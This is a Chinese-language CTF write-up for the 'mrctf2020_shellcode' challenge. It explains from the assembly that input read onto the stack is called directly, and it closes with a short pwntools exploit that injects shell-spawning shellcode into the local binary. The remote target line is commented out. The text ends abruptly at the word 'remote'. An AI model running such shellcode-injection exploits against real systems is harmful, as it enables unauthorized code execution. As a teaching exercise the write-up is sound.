# 1. 查看程序信息


64 位程序,发现开启了 PIE

利用 ida 查看一下
发现转 c 语言失败,那就分析汇编

可以看到 buf 有 0x410 的大小,而输入只有 0x400,无法溢出

# 2. 分析汇编

这里解释汇编代码的含义
首先要了解 jg 命令的含义

jg:比较结果是">"则跳转,所以我们需要查看前面的 cmp的比较结果

read 函数的返回值是输入值的大小并且会保存到 eax 中

输入 shellcode 后会满足长度判断,使跳转到 loc_11D6

LEA 指令的作用是取 opera2 的地址,然后把这个地址赋给 opera1

lea rax ,[rbp+buf]  //LEA指令此处取 栈顶(rbp+buf) 的地址 ,来给rax 

call 指令会进行跳转,意味着就跳转到栈顶然后执行

这就很明了了,我们直接输入 shellcode 然后长度可以进行跳转,并且 call 又会去再 shellcode 起始处,也就是栈顶执行我们输入的 shellcode , 这样就直接获得 shell 了

# exp:

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=process('./mrctf2020_shellcode')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
shellcode = asm(shellcraft.sh())
p.recvuntil("magic!\n")
p.sendline(shellcode)
p.interactive()

直接打通本地

远程